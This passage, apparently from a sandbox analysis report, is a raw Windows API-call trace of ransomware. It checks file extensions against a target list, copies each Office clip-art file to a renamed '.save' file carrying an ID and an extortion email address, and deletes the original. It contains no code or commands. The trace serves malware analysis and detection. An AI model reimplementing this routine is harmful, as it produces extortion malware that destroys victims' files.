lpString2="0.GIF") returned -1 [0163.974] lstrlenW (lpString=".ppt") returned 4 [0163.974] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0163.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0163.974] lstrlenW (lpString=".zip") returned 4 [0163.974] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0163.974] lstrlenW (lpString=".rar") returned 4 [0163.974] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0163.974] lstrlenW (lpString=".bz2") returned 4 [0163.974] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0163.974] lstrlenW (lpString=".7z") returned 3 [0163.974] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0163.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0163.974] lstrlenW (lpString=".dbf") returned 4 [0163.974] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0163.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0163.974] lstrlenW (lpString=".1cd") returned 4 [0163.974] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0163.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0163.974] lstrlenW (lpString=".jpg") returned 4 [0163.974] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0163.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0163.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0163.975] lstrlenW (lpString=".doc") returned 4 [0163.975] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0163.975] lstrlenW (lpString=".docx") returned 5 [0163.975] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0163.975] lstrlenW (lpString=".pdf") returned 4 [0163.975] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0163.975] lstrlenW (lpString=".xls") returned 4 [0163.975] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0163.975] lstrlenW (lpString=".xlsx") returned 5 [0163.975] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0163.975] lstrlenW (lpString=".ppt") returned 4 [0163.975] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0163.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0163.975] lstrlenW (lpString=".zip") returned 4 [0163.975] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0163.975] lstrlenW (lpString=".rar") returned 4 [0163.975] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0163.975] lstrlenW (lpString=".bz2") returned 4 [0163.975] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0163.975] lstrlenW (lpString=".7z") returned 3 [0163.975] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0163.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0163.975] lstrlenW (lpString=".dbf") returned 4 [0163.975] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0163.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0163.975] lstrlenW (lpString=".1cd") returned 4 [0163.975] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0163.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0163.975] lstrlenW (lpString=".jpg") returned 4 [0163.976] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0163.976] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0163.976] lstrlenW (lpString="J0099201.GIF") returned 12 [0163.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0163.977] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=51401) returned 1 [0163.977] CloseHandle (hObject=0x464) returned 1 [0163.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 0x220 [0163.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0163.977] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.977] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0163.978] GetLastError () returned 0x0 [0163.978] ReadFile (in: hFile=0x464, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0xc8c9, lpOverlapped=0x0) returned 1 [0163.981] WriteFile (in: hFile=0x41c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xc8d0, lpOverlapped=0x0) returned 1 [0163.983] ReadFile (in: hFile=0x464, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.983] WriteFile (in: hFile=0x41c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0163.983] SetEndOfFile (hFile=0x41c) returned 1 [0163.983] CloseHandle (hObject=0x41c) returned 1 [0163.983] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.983] SetEndOfFile (hFile=0x464) returned 1 [0164.084] CloseHandle (hObject=0x464) returned 1 [0164.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0164.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0164.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0164.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0164.784] lstrlenW (lpString=".doc") returned 4 [0164.784] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0164.784] lstrlenW (lpString=".docx") returned 5 [0164.784] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0164.784] lstrlenW (lpString=".pdf") returned 4 [0164.784] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0164.784] lstrlenW (lpString=".xls") returned 4 [0164.785] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0164.785] lstrlenW (lpString=".xlsx") returned 5 [0164.785] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0164.785] lstrlenW (lpString=".ppt") returned 4 [0164.785] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0164.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0164.785] lstrlenW (lpString=".zip") returned 4 [0164.785] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0164.785] lstrlenW (lpString=".rar") returned 4 [0164.785] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0164.785] lstrlenW (lpString=".bz2") returned 4 [0164.785] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0164.785] lstrlenW (lpString=".7z") returned 3 [0164.785] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0164.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0164.785] lstrlenW (lpString=".dbf") returned 4 [0164.785] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0164.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0164.785] lstrlenW (lpString=".1cd") returned 4 [0164.785] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0164.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0164.785] lstrlenW (lpString=".jpg") returned 4 [0164.785] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0164.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0164.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0164.785] lstrlenW (lpString=".doc") returned 4 [0164.785] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0164.785] lstrlenW (lpString=".docx") returned 5 [0164.785] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0164.785] lstrlenW (lpString=".pdf") returned 4 [0164.785] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0164.785] lstrlenW (lpString=".xls") returned 4 [0164.786] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0164.786] lstrlenW (lpString=".xlsx") returned 5 [0164.786] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0164.786] lstrlenW (lpString=".ppt") returned 4 [0164.786] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0164.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0164.786] lstrlenW (lpString=".zip") returned 4 [0164.786] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0164.786] lstrlenW (lpString=".rar") returned 4 [0164.786] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0164.786] lstrlenW (lpString=".bz2") returned 4 [0164.786] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0164.786] lstrlenW (lpString=".7z") returned 3 [0164.786] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0164.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0164.786] lstrlenW (lpString=".dbf") returned 4 [0164.786] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0164.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0164.786] lstrlenW (lpString=".1cd") returned 4 [0164.786] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0164.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0164.786] lstrlenW (lpString=".jpg") returned 4 [0164.786] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0164.786] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0164.786] lstrlenW (lpString="J0101858.BMP") returned 12 [0164.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0165.170] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=32184) returned 1 [0165.170] CloseHandle (hObject=0x4b4) returned 1 [0165.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220 [0165.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0165.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0165.171] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.171] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0165.172] GetLastError () returned 0x0 [0165.172] ReadFile (in: hFile=0x4b4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0165.175] WriteFile (in: hFile=0x4a4, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0165.177] ReadFile (in: hFile=0x4b4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.177] WriteFile (in: hFile=0x4a4, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.177] SetEndOfFile (hFile=0x4a4) returned 1 [0165.177] CloseHandle (hObject=0x4a4) returned 1 [0165.177] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.177] SetEndOfFile (hFile=0x4b4) returned 1 [0165.181] CloseHandle (hObject=0x4b4) returned 1 [0165.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0165.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0165.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.183] lstrlenW (lpString=".doc") returned 4 [0165.183] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.183] lstrlenW (lpString=".docx") returned 5 [0165.183] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0165.183] lstrlenW (lpString=".pdf") returned 4 [0165.183] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.183] lstrlenW (lpString=".xls") returned 4 [0165.183] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.184] lstrlenW (lpString=".xlsx") returned 5 [0165.184] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0165.184] lstrlenW (lpString=".ppt") returned 4 [0165.184] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.184] lstrlenW (lpString=".zip") returned 4 [0165.184] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.184] lstrlenW (lpString=".rar") returned 4 [0165.184] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.184] lstrlenW (lpString=".bz2") returned 4 [0165.184] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.184] lstrlenW (lpString=".7z") returned 3 [0165.184] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.184] lstrlenW (lpString=".dbf") returned 4 [0165.184] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.184] lstrlenW (lpString=".1cd") returned 4 [0165.184] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.184] lstrlenW (lpString=".jpg") returned 4 [0165.184] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.184] lstrlenW (lpString=".doc") returned 4 [0165.185] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.185] lstrlenW (lpString=".docx") returned 5 [0165.185] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0165.185] lstrlenW (lpString=".pdf") returned 4 [0165.185] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.185] lstrlenW (lpString=".xls") returned 4 [0165.185] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.185] lstrlenW (lpString=".xlsx") returned 5 [0165.185] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0165.185] lstrlenW (lpString=".ppt") returned 4 [0165.185] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.185] lstrlenW (lpString=".zip") returned 4 [0165.185] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.185] lstrlenW (lpString=".rar") returned 4 [0165.185] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.185] lstrlenW (lpString=".bz2") returned 4 [0165.185] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.185] lstrlenW (lpString=".7z") returned 3 [0165.185] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.185] lstrlenW (lpString=".dbf") returned 4 [0165.185] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.185] lstrlenW (lpString=".1cd") returned 4 [0165.185] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.186] lstrlenW (lpString=".jpg") returned 4 [0165.186] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.186] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0165.186] lstrlenW (lpString="J0101862.BMP") returned 12 [0165.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0165.187] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=32184) returned 1 [0165.187] CloseHandle (hObject=0x4b4) returned 1 [0165.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 0x220 [0165.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0165.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0165.188] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.188] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0165.189] GetLastError () returned 0x0 [0165.189] ReadFile (in: hFile=0x4b4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0165.192] WriteFile (in: hFile=0x4a4, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0165.194] ReadFile (in: hFile=0x4b4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.194] WriteFile (in: hFile=0x4a4, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.194] SetEndOfFile (hFile=0x4a4) returned 1 [0165.194] CloseHandle (hObject=0x4a4) returned 1 [0165.195] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.195] SetEndOfFile (hFile=0x4b4) returned 1 [0165.198] CloseHandle (hObject=0x4b4) returned 1 [0165.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0165.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0165.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0165.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0165.200] lstrlenW (lpString=".doc") returned 4 [0165.200] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.200] lstrlenW (lpString=".docx") returned 5 [0165.200] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0165.200] lstrlenW (lpString=".pdf") returned 4 [0165.200] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.200] lstrlenW (lpString=".xls") returned 4 [0165.200] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.200] lstrlenW (lpString=".xlsx") returned 5 [0165.200] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0165.201] lstrlenW (lpString=".ppt") returned 4 [0165.201] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0165.201] lstrlenW (lpString=".zip") returned 4 [0165.201] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.201] lstrlenW (lpString=".rar") returned 4 [0165.201] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.201] lstrlenW (lpString=".bz2") returned 4 [0165.201] lstrcmpiW 